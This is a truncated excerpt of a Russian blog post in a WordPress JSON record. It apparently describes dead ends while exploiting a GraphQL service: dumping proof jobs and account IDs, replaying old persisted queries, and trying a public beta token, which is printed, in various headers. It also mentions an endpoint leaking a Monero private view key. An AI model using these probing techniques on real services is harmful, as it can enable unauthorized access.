proofJobs \u0432\u044b\u0433\u0440\u0443\u0436\u0430\u043b\u043e\u0441\u044c \u043e\u043a\u043e\u043b\u043e 600 \u0437\u0430\u0434\u0430\u043d\u0438\u0439. \u0412 \u043d\u0438\u0445 \u0431\u044b\u043b\u043e 147 \u0443\u043d\u0438\u043a\u0430\u043b\u044c\u043d\u044b\u0445 accountId. \u0420\u0430\u0437\u043d\u0438\u0446\u0430 \u0440\u043e\u0432\u043d\u043e \u0432 \u0442\u0440\u0438 \u0430\u043a\u043a\u0430\u0443\u043d\u0442\u0430 \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u043b\u0430 \u0441\u043b\u0438\u0448\u043a\u043e\u043c \u043d\u0435\u043f\u043e\u043d\u044f\u0442\u043d\u043e.\u0414\u0430\u043b\u044c\u0448\u0435 \u0431\u044b\u043b\u043e \u043c\u043d\u043e\u0433\u043e \u0440\u0430\u0431\u043e\u0442\u044b, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0432 \u0438\u0442\u043e\u0433\u0435 \u043d\u0435 \u043f\u043e\u043d\u0430\u0434\u043e\u0431\u0438\u043b\u0430\u0441\u044c: * \u0441\u043e\u0431\u0440\u0430\u043b \u0432\u0441\u0435 job; * \u0432\u044b\u0434\u0435\u043b\u0438\u043b \u0443\u043d\u0438\u043a\u0430\u043b\u044c\u043d\u044b\u0435 account ID; * \u0441\u0440\u0430\u0432\u043d\u0438\u0432\u0430\u043b \u0430\u043a\u043a\u0430\u0443\u043d\u0442\u044b \u043f\u043e \u044d\u043f\u043e\u0445\u0430\u043c \u0438 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f\u043c; * \u0440\u0430\u0437\u0431\u0438\u043b 147 ID \u043d\u0430 \u0433\u0440\u0443\u043f\u043f\u044b \u0438 \u043f\u0440\u043e\u0433\u043e\u043d\u044f\u043b \u0437\u0430\u043f\u0440\u043e\u0441\u044b; * \u043f\u044b\u0442\u0430\u043b\u0441\u044f \u043f\u043e\u043d\u044f\u0442\u044c, \u043c\u043e\u0436\u043d\u043e \u043b\u0438 \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u043e\u0441\u0442\u0430\u0432\u0448\u0438\u0435\u0441\u044f UUID.\u0412 jobs \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u043b\u0438\u0441\u044c \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f:CHECK_MEMBERSHIPQUERY_STATUSVERIFY_MEMBER\u0412\u0441\u0435 \u043e\u043d\u0438 \u0441 \u043c\u043e\u0438\u043c proof \u0434\u0430\u0432\u0430\u043b\u0438 \u043e\u0431\u0449\u0438\u0439 \u043e\u0442\u0432\u0435\u0442:credit service error\u0412 \u0438\u0442\u043e\u0433\u0435 \u043d\u0438\u043a\u0430\u043a\u043e\u0439 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u0442\u0440\u043e\u0439\u043a\u0438 \u0438\u0441\u043a\u0430\u0442\u044c \u043d\u0435 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043b\u043e\u0441\u044c. \u0414\u043b\u044f \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u0437\u0430\u043f\u0440\u043e\u0441\u0430 \u043f\u043e\u0434\u043e\u0448\u0435\u043b \u0431\u044b \u043b\u044e\u0431\u043e\u0439 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u043d\u044b\u0439 account ID.\u0421\u0442\u0430\u0440\u044b\u0435 persisted queries\u0421\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0439 \u043d\u0430\u0445\u043e\u0434\u043a\u043e\u0439 \u0431\u044b\u043b\u0430 \u0438\u0441\u0442\u043e\u0440\u0438\u044f persisted queries. \u0412 \u043d\u0435\u0439 \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u043b\u0438\u0441\u044c \u0432\u0435\u0441\u044c\u043c\u0430 \u043c\u043d\u043e\u0433\u043e\u043e\u0431\u0435\u0449\u0430\u044e\u0449\u0438\u0435 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u044f:getLeafsubmitProofcreateAccountgetEntitlementclaimEntitlementgetSyntheticCreditsgetClaimStatequeryAccountStatus\u042f \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u043b \u043e\u043a\u043e\u043b\u043e \u0434\u0432\u0443\u0445\u0441\u043e\u0442 \u0437\u0430\u043f\u0438\u0441\u0435\u0439 \u0438 \u043f\u044b\u0442\u0430\u043b\u0441\u044f \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0441\u0442\u0438 \u0441\u0442\u0430\u0440\u044b\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438. \u041f\u043e\u0447\u0442\u0438 \u0432\u0441\u0435 \u044d\u0442\u0438 \u043f\u043e\u043b\u044f \u0443\u0436\u0435 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u043e\u0432\u0430\u043b\u0438 \u0432 \u0442\u0435\u043a\u0443\u0449\u0435\u0439 \u0441\u0445\u0435\u043c\u0435.\u041d\u0435\u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u0432\u0440\u0435\u043c\u044f \u043a\u0430\u0437\u0430\u043b\u043e\u0441\u044c, \u0447\u0442\u043e \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u0434\u043e\u043b\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0441\u0442\u0430\u0440\u044b\u0439 claimEntitlement \u0438\u043b\u0438 \u0436\u0435 \u0444\u0430\u043a\u0442, \u0447\u0442\u043e \u0447\u0435\u0440\u0435\u0437 \u0441\u0442\u0430\u0440\u044b\u0439 getLeaf \u043c\u043e\u0436\u043d\u043e \u0434\u043e\u0441\u0442\u0430\u0442\u044c \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b \u0434\u043b\u044f \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0435\u0433\u043e \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430. \u041d\u0438\u0447\u0435\u0433\u043e \u0438\u0437 \u044d\u0442\u043e\u0433\u043e \u043d\u0435 \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u043b\u043e. \u0410\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u0430\u044f \u0442\u043e\u0447\u043a\u0430 \u0432\u0445\u043e\u0434\u0430 \u0432\u0441\u0435 \u0432\u0440\u0435\u043c\u044f \u0431\u044b\u043b\u0430 \u043f\u0435\u0440\u0435\u0434 \u0433\u043b\u0430\u0437\u0430\u043c\u0438 verifyBetaReserveProof.Beta token\u0415\u0449\u0435 \u0432 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0438 \u0431\u044b\u043b \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u0439 beta token 3eb4d6c11d416459f7284215152eb114\u041f\u043e \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u044e GraphQL-\u043f\u043e\u043b\u044f \u044d\u0442\u043e \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u043b\u043e \u043b\u043e\u0433\u0438\u0447\u043d\u043e: \u0435\u0441\u0442\u044c verifyBetaReserveProof, \u0435\u0441\u0442\u044c beta token, \u0437\u043d\u0430\u0447\u0438\u0442 token \u043d\u0430\u0434\u043e \u043a\u0443\u0434\u0430-\u0442\u043e \u043f\u0435\u0440\u0435\u0434\u0430\u0442\u044c.\u042f \u043f\u043e\u043f\u0440\u043e\u0431\u043e\u0432\u0430\u043b \u043e\u0431\u044b\u0447\u043d\u044b\u0435 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b \u0432\u0440\u043e\u0434\u0435:Authorization: BearerAuthorization:X-Beta-Token:X-API-Key:Cookie: betaToken=\u041f\u043e\u0442\u043e\u043c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b token \u043a\u0430\u043a accountId, \u043a\u0430\u043a \u0447\u0430\u0441\u0442\u044c secret, serial \u0438 blind. \u041f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u043d\u0435 \u0438\u0437\u043c\u0435\u043d\u0438\u043b\u043e\u0441\u044c. \u0414\u043b\u044f \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 token \u043d\u0435 \u043f\u043e\u043d\u0430\u0434\u043e\u0431\u0438\u043b\u0441\u044f \u0432\u043e\u043e\u0431\u0449\u0435.Monero view key\u041c\u0430\u0440\u0448\u0440\u0443\u0442 \/api\/pool\/info \u043e\u0442\u0434\u0430\u0432\u0430\u043b Monero-\u0430\u0434\u0440\u0435\u0441 \u0438 \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 view key. \u041a\u043b\u044e\u0447 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u043e\u0432\u0430\u043b \u0430\u0434\u0440\u0435\u0441\u0443, \u044d\u0442\u043e \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e.\u041f\u043e\u0441\u043b\u0435 \u0442\u0435\u043a\u0441\u0442\u0430 \u043f\u0440\u043e free XMR \u0442\u0430\u043a\u0430\u044f \u0443\u0442\u0435\u0447\u043a\u0430 \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u043f\u043e\u0447\u0442\u0438 \u0433\u043e\u0442\u043e\u0432\u044b\u043c \u043e\u0442\u0432\u0435\u0442\u043e\u043c. \u041d\u043e \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 view key \u0432 Monero \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u0438\u0434\u0435\u0442\u044c \u0432\u0445\u043e\u0434\u044f\u0449\u0438\u0435 \u0442\u0440\u0430\u043d\u0437\u0430\u043a\u0446\u0438\u0438, \u0430 \u043d\u0435 \u0442\u0440\u0430\u0442\u0438\u0442\u044c \u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0430. Spend key \u0441\u0435\u0440\u0432\u0438\u0441 \u043d\u0435 \u043e\u0442\u0434\u0430\u0432\u0430\u043b.\u042f \u0432\u0441\u0435 \u0440\u0430\u0432\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u043b \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u0432: * \u0430\u0434\u0440\u0435\u0441 \u043a\u0430\u043a account ID; * view key \u043a\u0430\u043a secret; * \u0430\u0434\u0440\u0435\u0441 \u0438 key \u043a\u0430\u043a serial\/blind; * \u0445\u0435\u0448\u0438 \u044d\u0442\u0438\u0445 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0439 \u0432 proof; * \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u0443\u044e \u0441\u0432\u044f\u0437\u044c&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-497624","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/497624","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=497624"}],"version-history":[{"count":0,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/497624\/revisions"}],"wp:attachment":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=497624"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=497624"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=497624"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}